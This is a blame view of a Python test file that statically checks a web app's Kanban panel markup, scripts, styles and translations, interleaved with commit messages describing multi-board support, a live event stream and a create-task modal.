HERMES-GIELIE/tests/test_kanban_ui_static.py

646 lines
26 KiB
Python
Raw Normal View History

from pathlib import Path
import re
ROOT = Path(__file__).resolve().parents[1]
INDEX = (ROOT / "static" / "index.html").read_text(encoding="utf-8")
PANELS = (ROOT / "static" / "panels.js").read_text(encoding="utf-8")
STYLE = (ROOT / "static" / "style.css").read_text(encoding="utf-8")
I18N = (ROOT / "static" / "i18n.js").read_text(encoding="utf-8")
COMPACT_INDEX = re.sub(r"\s+", "", INDEX)
COMPACT_PANELS = re.sub(r"\s+", "", PANELS)
COMPACT_STYLE = re.sub(r"\s+", "", STYLE)
def test_kanban_has_native_sidebar_rail_and_mobile_tab():
assert 'data-panel="kanban"' in INDEX
assert 'data-i18n-title="tab_kanban"' in INDEX
assert 'onclick="switchPanel(\'kanban\')"' in INDEX
assert 'data-label="Kanban"' in INDEX
kanban_section = INDEX[INDEX.find('id="mainKanban"'):INDEX.find('id="mainWorkspaces"')]
assert "<iframe" not in kanban_section.lower()
def test_kanban_has_sidebar_panel_and_main_board_mounts():
assert '<div class="panel-view" id="panelKanban">' in INDEX
assert 'id="kanbanSearch"' in INDEX
assert 'id="kanbanAssigneeFilter"' in INDEX
assert 'id="kanbanTenantFilter"' in INDEX
assert 'id="kanbanIncludeArchived"' in INDEX
assert 'id="kanbanList"' in INDEX
assert '<div id="mainKanban" class="main-view">' in INDEX
assert 'id="kanbanBoard"' in INDEX
assert 'id="kanbanTaskPreview"' in INDEX
def test_switch_panel_lazy_loads_kanban_and_toggles_main_view():
assert "'kanban'" in re.search(r"\[[^\]]+\]\.forEach\(p => \{\s*mainEl\.classList", PANELS).group(0)
assert "if (nextPanel === 'kanban') await loadKanban();" in PANELS
assert "if (_currentPanel === 'kanban') await loadKanban();" in PANELS
2026-05-04 21:06:37 +00:00
def test_kanban_frontend_uses_relative_api_endpoints():
assert "'/api/kanban/board" in PANELS
assert "api('/api/kanban/tasks/" in PANELS
assert "api('/api/kanban/config" in PANELS
assert "fetch('/api/kanban" not in PANELS
assert "kanbanTaskPreview" in PANELS
assert "classList.add('selected')" in PANELS
2026-05-04 20:21:58 +00:00
def test_kanban_task_detail_renders_read_only_sections():
assert "function _kanbanRenderTaskDetail" in PANELS
for payload_key in ("data.comments", "data.events", "data.links", "data.runs"):
assert payload_key in PANELS
for section_class in (
"kanban-detail-section",
"kanban-detail-comments",
"kanban-detail-events",
"kanban-detail-links",
"kanban-detail-runs",
):
assert section_class in PANELS
assert "method: 'POST'" not in PANELS[PANELS.find("async function loadKanbanTask"):PANELS.find("function loadTodos")]
2026-05-04 21:06:37 +00:00
def test_kanban_write_mvp_has_native_controls_and_api_calls():
assert 'id="kanbanNewTaskBtn"' in INDEX
assert "async function createKanbanTask" in PANELS
assert "async function updateKanbanTask" in PANELS
assert "async function addKanbanComment" in PANELS
feat(kanban): multi-board management + SSE live event stream Closes the remaining gaps to first-party Hermes Agent dashboard parity: multi-board CRUD on /api/kanban/boards and a real-time event stream over Server-Sent Events. Builds on top of #1660 (review-feedback hardening). == Multi-board == Five new endpoints mirror the agent dashboard plugin contract verbatim (plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash command / dashboard / WebUI all share the same active-board pointer: GET /api/kanban/boards POST /api/kanban/boards PATCH /api/kanban/boards/<slug> DELETE /api/kanban/boards/<slug> POST /api/kanban/boards/<slug>/switch All existing endpoints accept ?board=<slug> (and writes also accept 'board' in the JSON body) — query takes precedence over body. The slug travels through the kanban_db library which already had multi-board support; the bridge is mostly thin wrappers around create_board / remove_board / list_boards / set_current_board / get_current_board. The default board is protected from deletion. Slugs are normalised through kb._normalize_board_slug() with path-traversal rejection. Archive is the default for DELETE; ?delete=1 hard-deletes. Frontend gets a 'Default ▾' switcher pill in the panel header. The menu lists every board (current first), per-status total badges, plus three actions (New / Rename / Archive). Create + rename use the same modal with a slug auto-derived from the name. Archive routes through the existing showConfirmDialog with a clear 'tasks remain on disk and the board can be restored from kanban/boards/_archived/' message. Active-board state is persisted to localStorage so a refresh stays put. The on-disk pointer in kanban/current is the cross-process source of truth, kept in sync via POST /boards/<slug>/switch. == SSE event stream == GET /api/kanban/events/stream is a long-lived Server-Sent Events feed that mirrors the agent dashboard's WebSocket /events contract. The WebUI uses SSE rather than WebSocket because (1) the existing transport is BaseHTTPServer, not async — WS would require a significant refactor or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional server-pushed event streams; (3) browsers auto-reconnect on drop; (4) the existing /api/approval/stream and /api/clarify/stream patterns are proven and easy to copy. The handler polls task_events at 300ms (matching the agent dashboard's WebSocket poll cadence) so write-to-receive latency is identical. Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events per batch. Frontend uses EventSource by default and falls back to 30s HTTP polling after 3 SSE failures. A 250ms debounce coalesces bursts of N events into a single board re-fetch. Stream is torn down when the user leaves the Kanban panel. == Bugs fixed during build == (1) read_only=True legacy lie. _board_payload, _events_payload, _task_log_payload, and the no-change short-circuit all hardcoded read_only=True from the read-only-bridge era of #1645. Bridge has been writable since #1649 — flag now matches reality. (2) Modal + dropdown menu transparent backgrounds. The PR stack used var(--panel) which is undefined in the WebUI design system (uses --surface, --bg, gradient panels). Replaced with the same gradient + accent border pattern used by the .app-dialog overlay. (3) Archive race. kb.connect(board=<slug>) auto-materialises the directory + sqlite on first call, so any in-flight SSE poll on a board mid-archive would silently un-archive it by re-creating the directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new checks kb.board_exists() before connect(), returning empty results when the board is gone. (4) Save vs. Cancel button visual hierarchy. Both rendered as identical secondary buttons in the modal. Save now uses the .primary class with accent-tinted gold styling. (5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px) covering the switcher button (smaller padding/font), name truncation (max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal padding, and inline-row stacking. == Tests == +45 new tests across two files. Bridge tests: 18 covering board CRUD endpoints, slug validation, default-board protection, dispatcher routing, board isolation (verified via connect() spy), and 3 SSE tests including a worker-thread integration test with threading.Event watchdog. UI static tests: 11 covering switcher markup, modal markup, JS handler presence, REST verb usage, board-param plumbing, localStorage persistence, showConfirmDialog usage, EventSource subscription, polling fallback, panel-switch teardown, and 250ms debouncing. Bridge tests: 18 → 36 (+18 multi-board, +3 SSE) UI static tests: 15 → 26 (+11) Total kanban: 33 → 63 Full repo test suite: 4351 passed, 0 regressions. == Live verification == End-to-end browser walkthrough on port 8789: - Create Sprint 12 + Backlog via modal: switcher updates ✓ - Switch between boards: count isolation correct ✓ - Add task on Sprint 12 via API: SSE delivers in 400ms ✓ - 5-task burst: 250ms debounce coalesces to single render ✓ - Rename board via modal: switcher label updates ✓ - Archive board: confirm dialog → board moved to _archived/, no zombie directory (race fix verified) ✓ - Zero JS errors throughout 11-step flow Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
# The exact tail varies because the multi-board PR appends
# _kanbanBoardQuery() to most kanban API URLs. Match with looser
# substring assertions that survive that suffix.
assert "api('/api/kanban/tasks'" in PANELS
2026-05-04 21:06:37 +00:00
assert "method: 'POST'" in PANELS
assert "'/api/kanban/tasks/' + encodeURIComponent(taskId)" in PANELS
assert "method: 'PATCH'" in PANELS
2026-05-04 21:06:37 +00:00
assert "'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/comments'" in PANELS
assert "kanban-status-actions" in PANELS
assert "kanban-comment-form" in PANELS
fix(kanban): header '+' button opens create-task modal The Kanban sidebar panel's header '+' button (#kanbanNewTaskBtn) was wired straight to createKanbanTask(), which reads the inline #kanbanNewTaskTitle input and silently returns when empty. The inline input lives below five rows of filters (search, assignee, tenant, archived/mine toggles, stats, bulk-action bar) and is typically off-screen on first panel open, so the header button looked dead — clicking it with no title typed did nothing visible (no modal, no scroll, no focus shift, no toast). Now the header '+' opens #kanbanTaskModal — a centered overlay with the same .kanban-modal-overlay shell the existing create-board modal uses, so the two flows look and behave identically (centered card, dim backdrop, ESC closes, click-on-backdrop closes). The modal exposes the fields the backend already accepts at /api/kanban/tasks: Title, Description, Status (Triage/Todo/Ready), Priority, Assignee (datalist suggestions from the active board), Tenant (datalist). UX details: - Title is required; submit-with-empty shows a properly styled red error - Title field auto-focuses on open - ESC closes the modal; backdrop click closes; Enter on simple inputs submits, Enter in the description textarea inserts a newline - Submit POSTs only the fields the user filled in (no forced empty strings) and auto-opens the new task's detail view - Submit button disables while posting to prevent double-submit - Inline quick-add (Enter on #kanbanNewTaskTitle) is preserved as a power-user shortcut Side effect: .kanban-modal-error styling improved (proper red alert with border + tinted background) so the existing create-board modal benefits from the same polish for free. i18n: 11 new keys added across all 8 supported locales (en, ja, ru, es, de, zh, pt, ko). Tests: tests/test_kanban_ui_static.py::test_kanban_new_task_header_button_opens_modal covers the modal markup, button wiring, ESC/Enter handling, datalist population, submit behavior, and inline-quick-add fallthrough. Verified end-to-end in the browser on an isolated test env (port 8789): created a board from scratch, opened the modal via header '+', submitted with title/description/status/priority/assignee/tenant filled in, moved the task through statuses (Triage → Todo → Ready → Blocked → Archived), added a comment, verified Cancel + ESC + backdrop-click all close cleanly, verified validation error rendering, verified inline quick-add still works. Closes #1964
2026-05-09 18:40:48 +00:00
def test_kanban_new_task_header_button_opens_modal():
"""Regression: the panel-head '+' button must open a real `.kanban-modal-overlay`
create-task modal (matching the existing create-board modal pattern in the same
file) — NOT silently return when the inline #kanbanNewTaskTitle input is empty.
Previously the header button was wired straight to createKanbanTask(), which
silently early-exits on empty title — the button looked completely dead.
Now the header button calls openKanbanCreate(), which opens the
#kanbanTaskModal overlay with title / description / status / priority /
assignee / tenant fields.
"""
# 1. Header "+" button is wired to openKanbanCreate(), NOT createKanbanTask().
assert 'id="kanbanNewTaskBtn"' in INDEX
btn_html = INDEX[INDEX.find('id="kanbanNewTaskBtn"'):]
btn_html = btn_html[: btn_html.find("</button>") + len("</button>")]
assert 'onclick="openKanbanCreate()"' in btn_html, (
"Panel-head '+' button must call openKanbanCreate() (modal), not "
"createKanbanTask() directly (which silently returns on empty title)."
)
# 2. The create-task modal markup exists in index.html, with all the field
# ids the JS / API contract expects.
assert 'id="kanbanTaskModal"' in INDEX
assert 'class="kanban-modal-overlay"' in INDEX[INDEX.find('id="kanbanTaskModal"') - 80:]
for field_id in (
"kanbanTaskModalTitleInput",
"kanbanTaskModalBody",
"kanbanTaskModalStatus",
"kanbanTaskModalPriority",
"kanbanTaskModalAssignee",
"kanbanTaskModalTenant",
"kanbanTaskModalError",
"kanbanTaskModalSubmit",
):
assert f'id="{field_id}"' in INDEX, f"create-task modal missing #{field_id}"
# 3. Modal closes via Cancel button AND backdrop click AND ESC.
assert 'onclick="closeKanbanTaskModal()"' in INDEX
assert "if(event.target===this)closeKanbanTaskModal()" in INDEX
# 4. openKanbanCreate() unhides the modal, focuses the title field, populates
# assignee/tenant datalists, binds keydown listener.
assert "function openKanbanCreate()" in PANELS
open_fn = re.search(
r"function openKanbanCreate\(\)\{(.*?)\n\}", PANELS, re.DOTALL
)
assert open_fn, "openKanbanCreate() not found"
body = open_fn.group(1)
assert "modal.hidden = false" in body
assert "kanbanTaskModalAssigneeList" in body
assert "kanbanTaskModalTenantList" in body
assert "_kanbanTaskModalKey" in body # ESC + Enter handler attached
# 5. closeKanbanTaskModal() hides the modal and unbinds the listener.
assert "function closeKanbanTaskModal()" in PANELS
close_fn = re.search(
r"function closeKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
)
assert close_fn and "modal.hidden = true" in close_fn.group(1)
assert "removeEventListener('keydown', _kanbanTaskModalKey)" in close_fn.group(1)
# 6. ESC closes; Enter submits (except in the description textarea).
assert "function _kanbanTaskModalKey" in PANELS
key_fn = re.search(
r"function _kanbanTaskModalKey\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL
)
assert key_fn
key_body = key_fn.group(1)
assert "ev.key === 'Escape'" in key_body
assert "ev.key === 'Enter'" in key_body
assert "TEXTAREA" in key_body # textarea exception preserved
# 7. submitKanbanTaskModal() POSTs to /api/kanban/tasks, closes modal,
# reloads board, opens detail.
assert "async function submitKanbanTaskModal()" in PANELS
submit_fn = re.search(
r"async function submitKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
)
assert submit_fn, "submitKanbanTaskModal() not found"
submit_body = submit_fn.group(1)
assert "api('/api/kanban/tasks'" in submit_body
assert "method: 'POST'" in submit_body
assert "JSON.stringify(payload)" in submit_body
assert "closeKanbanTaskModal()" in submit_body
assert "loadKanban(true)" in submit_body
assert "loadKanbanTask" in submit_body
# 8. Inline quick-add still works for power-users — typing a title + Enter
# creates immediately. Empty submit falls through to the modal.
assert "async function createKanbanTask()" in PANELS
quick_add = re.search(
r"async function createKanbanTask\(\)\{(.*?)\n\}", PANELS, re.DOTALL
)
assert quick_add
qa_body = quick_add.group(1)
assert "openKanbanCreate()" in qa_body, (
"Empty inline-input submit must open the modal, not silently return."
)
assert "api('/api/kanban/tasks'" in qa_body
def test_kanban_board_has_native_css_classes():
for selector in (
".kanban-board",
".kanban-column",
".kanban-card",
".kanban-card-title",
".kanban-meta",
".kanban-readonly",
):
assert selector in STYLE
assert "overflow-x:auto" in COMPACT_STYLE
def test_kanban_main_view_scrolls_when_task_preview_is_tall():
"""The app shell keeps body overflow hidden, so the Kanban main view
must own vertical scrolling. Otherwise a selected task with a long body
can push the board below the viewport with no way to reach it.
"""
assert re.search(
r"main\.main\.showing-kanban\s*>\s*#mainKanban\s*\{[^}]*display:flex;[^}]*overflow-y:auto;",
COMPACT_STYLE,
), "Kanban main view must expose a vertical scrollbar when detail content is taller than the viewport"
def test_kanban_i18n_keys_exist_in_every_locale_block():
locale_blocks = re.findall(r"\n\s*([a-z]{2}(?:-[A-Z]{2})?): \{(.*?)\n\s*\},", I18N, flags=re.S)
assert len(locale_blocks) >= 8
required_keys = [
"tab_kanban",
"kanban_board",
"kanban_search_tasks",
"kanban_all_assignees",
"kanban_all_tenants",
"kanban_include_archived",
"kanban_visible_tasks",
"kanban_no_matching_tasks",
"kanban_unavailable",
"kanban_read_only",
"kanban_empty",
2026-05-04 20:21:58 +00:00
"kanban_comments_count",
"kanban_events_count",
"kanban_links",
"kanban_runs_count",
"kanban_no_comments",
"kanban_no_events",
"kanban_no_runs",
2026-05-04 21:06:37 +00:00
"kanban_new_task",
"kanban_add_comment",
]
missing = [
f"{locale}:{key}"
for locale, body in locale_blocks
for key in required_keys
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
]
assert missing == []
2026-05-04 21:49:49 +00:00
def test_kanban_dashboard_parity_core_controls_are_native():
assert 'id="kanbanOnlyMine"' in INDEX
assert 'id="kanbanBulkBar"' in INDEX
assert 'id="kanbanStats"' in INDEX
assert "async function nudgeKanbanDispatcher" in PANELS
assert "async function bulkUpdateKanban" in PANELS
assert "async function refreshKanbanEvents" in PANELS
for endpoint in (
"'/api/kanban/stats'",
"'/api/kanban/assignees'",
"'/api/kanban/events'",
"'/api/kanban/dispatch'",
"'/api/kanban/tasks/bulk'",
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/log'",
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/block'",
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/unblock'",
):
assert endpoint in PANELS
feat(kanban): multi-board management + SSE live event stream Closes the remaining gaps to first-party Hermes Agent dashboard parity: multi-board CRUD on /api/kanban/boards and a real-time event stream over Server-Sent Events. Builds on top of #1660 (review-feedback hardening). == Multi-board == Five new endpoints mirror the agent dashboard plugin contract verbatim (plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash command / dashboard / WebUI all share the same active-board pointer: GET /api/kanban/boards POST /api/kanban/boards PATCH /api/kanban/boards/<slug> DELETE /api/kanban/boards/<slug> POST /api/kanban/boards/<slug>/switch All existing endpoints accept ?board=<slug> (and writes also accept 'board' in the JSON body) — query takes precedence over body. The slug travels through the kanban_db library which already had multi-board support; the bridge is mostly thin wrappers around create_board / remove_board / list_boards / set_current_board / get_current_board. The default board is protected from deletion. Slugs are normalised through kb._normalize_board_slug() with path-traversal rejection. Archive is the default for DELETE; ?delete=1 hard-deletes. Frontend gets a 'Default ▾' switcher pill in the panel header. The menu lists every board (current first), per-status total badges, plus three actions (New / Rename / Archive). Create + rename use the same modal with a slug auto-derived from the name. Archive routes through the existing showConfirmDialog with a clear 'tasks remain on disk and the board can be restored from kanban/boards/_archived/' message. Active-board state is persisted to localStorage so a refresh stays put. The on-disk pointer in kanban/current is the cross-process source of truth, kept in sync via POST /boards/<slug>/switch. == SSE event stream == GET /api/kanban/events/stream is a long-lived Server-Sent Events feed that mirrors the agent dashboard's WebSocket /events contract. The WebUI uses SSE rather than WebSocket because (1) the existing transport is BaseHTTPServer, not async — WS would require a significant refactor or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional server-pushed event streams; (3) browsers auto-reconnect on drop; (4) the existing /api/approval/stream and /api/clarify/stream patterns are proven and easy to copy. The handler polls task_events at 300ms (matching the agent dashboard's WebSocket poll cadence) so write-to-receive latency is identical. Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events per batch. Frontend uses EventSource by default and falls back to 30s HTTP polling after 3 SSE failures. A 250ms debounce coalesces bursts of N events into a single board re-fetch. Stream is torn down when the user leaves the Kanban panel. == Bugs fixed during build == (1) read_only=True legacy lie. _board_payload, _events_payload, _task_log_payload, and the no-change short-circuit all hardcoded read_only=True from the read-only-bridge era of #1645. Bridge has been writable since #1649 — flag now matches reality. (2) Modal + dropdown menu transparent backgrounds. The PR stack used var(--panel) which is undefined in the WebUI design system (uses --surface, --bg, gradient panels). Replaced with the same gradient + accent border pattern used by the .app-dialog overlay. (3) Archive race. kb.connect(board=<slug>) auto-materialises the directory + sqlite on first call, so any in-flight SSE poll on a board mid-archive would silently un-archive it by re-creating the directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new checks kb.board_exists() before connect(), returning empty results when the board is gone. (4) Save vs. Cancel button visual hierarchy. Both rendered as identical secondary buttons in the modal. Save now uses the .primary class with accent-tinted gold styling. (5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px) covering the switcher button (smaller padding/font), name truncation (max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal padding, and inline-row stacking. == Tests == +45 new tests across two files. Bridge tests: 18 covering board CRUD endpoints, slug validation, default-board protection, dispatcher routing, board isolation (verified via connect() spy), and 3 SSE tests including a worker-thread integration test with threading.Event watchdog. UI static tests: 11 covering switcher markup, modal markup, JS handler presence, REST verb usage, board-param plumbing, localStorage persistence, showConfirmDialog usage, EventSource subscription, polling fallback, panel-switch teardown, and 250ms debouncing. Bridge tests: 18 → 36 (+18 multi-board, +3 SSE) UI static tests: 15 → 26 (+11) Total kanban: 33 → 63 Full repo test suite: 4351 passed, 0 regressions. == Live verification == End-to-end browser walkthrough on port 8789: - Create Sprint 12 + Backlog via modal: switcher updates ✓ - Switch between boards: count isolation correct ✓ - Add task on Sprint 12 via API: SSE delivers in 400ms ✓ - 5-task burst: 250ms debounce coalesces to single render ✓ - Rename board via modal: switcher label updates ✓ - Archive board: confirm dialog → board moved to _archived/, no zombie directory (race fix verified) ✓ - Zero JS errors throughout 11-step flow Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
# Live event delivery — either the legacy 30s setInterval polling OR
# the new SSE /api/kanban/events/stream subscription must be present.
# The multi-board PR replaced setInterval with EventSource as the
# default, falling back to setInterval after repeated SSE failures.
assert (
"setInterval(refreshKanbanEvents" in PANELS
or "new EventSource" in PANELS
), "Kanban must subscribe to live events via SSE or polling"
2026-05-04 21:49:49 +00:00
assert "prompt(" not in PANELS
assert "confirm(" not in PANELS
def test_kanban_dashboard_parity_i18n_keys_exist():
locale_blocks = re.findall(r"\n\s*([a-z]{2}(?:-[A-Z]{2})?): \{(.*?)\n\s*\},", I18N, flags=re.S)
required_keys = [
"kanban_only_mine",
"kanban_bulk_action",
"kanban_nudge_dispatcher",
"kanban_work_queue_hint",
2026-05-04 21:49:49 +00:00
"kanban_stats",
"kanban_worker_log",
"kanban_block",
"kanban_unblock",
]
missing = [
f"{locale}:{key}"
for locale, body in locale_blocks
for key in required_keys
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
]
assert missing == []
2026-05-04 22:03:51 +00:00
def test_kanban_ui_parity_polish_adds_card_metadata_quick_actions_and_swimlanes():
for symbol in (
"function _kanbanRenderProfileLanes",
"function _kanbanCardQuickActions",
"function quickKanbanCardAction",
"function _kanbanRenderMarkdown",
"function _kanbanCardStalenessClass",
"function dragKanbanTask",
"function dropKanbanTask",
):
assert symbol in PANELS
for token in (
"kanban-profile-lanes",
"kanban-card-topline",
"kanban-card-actions",
"kanban-card-id",
"kanban-card-assignee",
"draggable=\"true\"",
"ondrop=\"dropKanbanTask",
"onkeydown=\"if(event.key==='Enter'||event.key===' ')",
):
assert token in PANELS
assert "target=\"_blank\" rel=\"noopener noreferrer\"" in PANELS
assert "javascript:" not in PANELS.lower()
def test_kanban_lifecycle_controls_do_not_offer_manual_running_start():
assert "quickKanbanCardAction(event,'${id}','running')" not in PANELS
assert "kanban_card_start" not in PANELS
2026-05-08 16:54:06 +00:00
assert "kanban_card_start" not in I18N
assert '<option value="running">Running</option>' not in INDEX
assert "Cannot set status to 'running' directly" not in PANELS
assert "kanban_work_queue_hint" in PANELS
assert "Preview dispatcher" in INDEX
assert "Nudge dispatcher" not in INDEX
2026-05-04 22:03:51 +00:00
def test_kanban_ui_parity_polish_css_and_i18n_exist():
for selector in (
".kanban-profile-lanes",
".kanban-profile-lane",
".kanban-card-actions",
".kanban-card-action",
".kanban-card-topline",
".kanban-card-stale-amber",
".kanban-card-stale-red",
".kanban-column.drop-target",
".hermes-kanban-md",
):
assert selector in STYLE
locale_blocks = re.findall(r"\n\s*([a-z]{2}(?:-[A-Z]{2})?): \{(.*?)\n\s*\},", I18N, flags=re.S)
required_keys = ["kanban_lanes_by_profile", "kanban_card_complete", "kanban_card_archive", "kanban_unassigned", "kanban_work_queue_hint"]
2026-05-04 22:03:51 +00:00
missing = [
f"{locale}:{key}"
for locale, body in locale_blocks
for key in required_keys
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
]
assert missing == []
def test_kanban_review_feedback_static_ui_fixes_exist():
assert "function closeKanbanTaskDetail" in PANELS
assert "kanban-back-btn" in PANELS
assert "function _kanbanFormatTimestamp" in PANELS
assert "function _kanbanEventSummary" in PANELS
assert "data.log || {}" in PANELS
assert ".kanban-task-preview-header" in STYLE
assert ".kanban-back-btn" in STYLE
assert "@media (max-width: 640px)" in STYLE
assert "scroll-snap-type" in STYLE
assert "kanban-stats-grid" in PANELS
def test_kanban_task_detail_renderer_executes_with_log_and_formats_feedback():
import json
import subprocess
script = """
const fs = require('fs');
const vm = require('vm');
const src = fs.readFileSync('static/panels.js', 'utf8');
function esc(value) {
return String(value == null ? '' : value).replace(/[&<>\"']/g, ch => ({'&':'&amp;','<':'&lt;','>':'&gt;','\"':'&quot;',"'":'&#39;'}[ch]));
}
const context = {
console,
setInterval(){ return 1; },
document: { querySelectorAll(){ return []; }, getElementById(){ return null; }, addEventListener(){} },
window: { addEventListener(){} },
t(key){
const map = {
kanban_no_description:'No description', kanban_comments_count:'Comments ({0})', kanban_events_count:'Events ({0})',
kanban_links:'Links', kanban_runs_count:'Runs ({0})', kanban_worker_log:'Worker log', kanban_empty:'Empty',
kanban_no_comments:'No comments', kanban_no_events:'No events', kanban_no_runs:'No runs', kanban_add_comment:'Add comment',
kanban_block:'Block', kanban_unblock:'Unblock', kanban_back_to_board:'Back to board', kanban_task:'Task',
kanban_status_triage:'Triage', kanban_status_todo:'Todo', kanban_status_ready:'Ready', kanban_status_running:'Running',
kanban_status_blocked:'Blocked', kanban_status_done:'Done', kanban_status_archived:'Archived'
};
return map[key] || key;
},
esc, $(){ return null; }, api(){}, showToast(){}, li(){ return ''; }, S: {}
};
vm.createContext(context);
vm.runInContext(src, context);
const html = vm.runInContext(`_kanbanRenderTaskDetail({
task:{id:'t_1', title:'Demo', status:'ready', body:'Body'},
comments:[{body:'hello', author:'webui', created_at:1777931496}],
events:[{kind:'blocked', payload:{reason:'waiting'}, created_at:1777931496}],
links:{parents:['t_0'], children:[]},
runs:[],
log:{content:'worker log'}
})`, context);
console.log(JSON.stringify({html}));
"""
result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
html = json.loads(result.stdout)["html"]
assert "worker log" in html
assert "kanban-back-btn" in html
assert "Back to board" in html
assert "1777931496" not in html
assert "waiting" in html
assert "ReferenceError" not in html
def test_kanban_readonly_banner_starts_hidden_and_is_toggled_on_load():
"""The 'Read-only view' banner must start hidden in the HTML and only
become visible when the bridge reports read_only=true. Always-visible
label is misleading when the kanban_db is fully writable.
"""
import os
here = os.path.dirname(os.path.abspath(__file__))
index_path = os.path.join(here, "..", "static", "index.html")
with open(index_path, "r", encoding="utf-8") as f:
html = f.read()
# Banner must be in HTML but default-hidden
assert 'class="kanban-readonly"' in html
assert 'data-i18n="kanban_read_only"' in html
# The banner element must have inline style="display:none" (default-hidden)
# A naive substring check is sufficient — there is exactly one such element.
banner_block = html[html.find('class="kanban-readonly"'):html.find('class="kanban-readonly"') + 200]
assert 'display:none' in banner_block, (
"Read-only banner must default to display:none in HTML to avoid "
"flashing the wrong message before loadKanban() resolves the actual "
"read_only flag from the API."
)
# And panels.js must toggle it based on _kanbanBoard.read_only
panels_path = os.path.join(here, "..", "static", "panels.js")
with open(panels_path, "r", encoding="utf-8") as f:
panels = f.read()
assert ".kanban-readonly" in panels, (
"panels.js must reference .kanban-readonly to toggle the banner"
)
assert "_kanbanBoard.read_only" in panels, (
"panels.js must consult _kanbanBoard.read_only when toggling the banner"
)
feat(kanban): multi-board management + SSE live event stream Closes the remaining gaps to first-party Hermes Agent dashboard parity: multi-board CRUD on /api/kanban/boards and a real-time event stream over Server-Sent Events. Builds on top of #1660 (review-feedback hardening). == Multi-board == Five new endpoints mirror the agent dashboard plugin contract verbatim (plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash command / dashboard / WebUI all share the same active-board pointer: GET /api/kanban/boards POST /api/kanban/boards PATCH /api/kanban/boards/<slug> DELETE /api/kanban/boards/<slug> POST /api/kanban/boards/<slug>/switch All existing endpoints accept ?board=<slug> (and writes also accept 'board' in the JSON body) — query takes precedence over body. The slug travels through the kanban_db library which already had multi-board support; the bridge is mostly thin wrappers around create_board / remove_board / list_boards / set_current_board / get_current_board. The default board is protected from deletion. Slugs are normalised through kb._normalize_board_slug() with path-traversal rejection. Archive is the default for DELETE; ?delete=1 hard-deletes. Frontend gets a 'Default ▾' switcher pill in the panel header. The menu lists every board (current first), per-status total badges, plus three actions (New / Rename / Archive). Create + rename use the same modal with a slug auto-derived from the name. Archive routes through the existing showConfirmDialog with a clear 'tasks remain on disk and the board can be restored from kanban/boards/_archived/' message. Active-board state is persisted to localStorage so a refresh stays put. The on-disk pointer in kanban/current is the cross-process source of truth, kept in sync via POST /boards/<slug>/switch. == SSE event stream == GET /api/kanban/events/stream is a long-lived Server-Sent Events feed that mirrors the agent dashboard's WebSocket /events contract. The WebUI uses SSE rather than WebSocket because (1) the existing transport is BaseHTTPServer, not async — WS would require a significant refactor or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional server-pushed event streams; (3) browsers auto-reconnect on drop; (4) the existing /api/approval/stream and /api/clarify/stream patterns are proven and easy to copy. The handler polls task_events at 300ms (matching the agent dashboard's WebSocket poll cadence) so write-to-receive latency is identical. Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events per batch. Frontend uses EventSource by default and falls back to 30s HTTP polling after 3 SSE failures. A 250ms debounce coalesces bursts of N events into a single board re-fetch. Stream is torn down when the user leaves the Kanban panel. == Bugs fixed during build == (1) read_only=True legacy lie. _board_payload, _events_payload, _task_log_payload, and the no-change short-circuit all hardcoded read_only=True from the read-only-bridge era of #1645. Bridge has been writable since #1649 — flag now matches reality. (2) Modal + dropdown menu transparent backgrounds. The PR stack used var(--panel) which is undefined in the WebUI design system (uses --surface, --bg, gradient panels). Replaced with the same gradient + accent border pattern used by the .app-dialog overlay. (3) Archive race. kb.connect(board=<slug>) auto-materialises the directory + sqlite on first call, so any in-flight SSE poll on a board mid-archive would silently un-archive it by re-creating the directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new checks kb.board_exists() before connect(), returning empty results when the board is gone. (4) Save vs. Cancel button visual hierarchy. Both rendered as identical secondary buttons in the modal. Save now uses the .primary class with accent-tinted gold styling. (5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px) covering the switcher button (smaller padding/font), name truncation (max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal padding, and inline-row stacking. == Tests == +45 new tests across two files. Bridge tests: 18 covering board CRUD endpoints, slug validation, default-board protection, dispatcher routing, board isolation (verified via connect() spy), and 3 SSE tests including a worker-thread integration test with threading.Event watchdog. UI static tests: 11 covering switcher markup, modal markup, JS handler presence, REST verb usage, board-param plumbing, localStorage persistence, showConfirmDialog usage, EventSource subscription, polling fallback, panel-switch teardown, and 250ms debouncing. Bridge tests: 18 → 36 (+18 multi-board, +3 SSE) UI static tests: 15 → 26 (+11) Total kanban: 33 → 63 Full repo test suite: 4351 passed, 0 regressions. == Live verification == End-to-end browser walkthrough on port 8789: - Create Sprint 12 + Backlog via modal: switcher updates ✓ - Switch between boards: count isolation correct ✓ - Add task on Sprint 12 via API: SSE delivers in 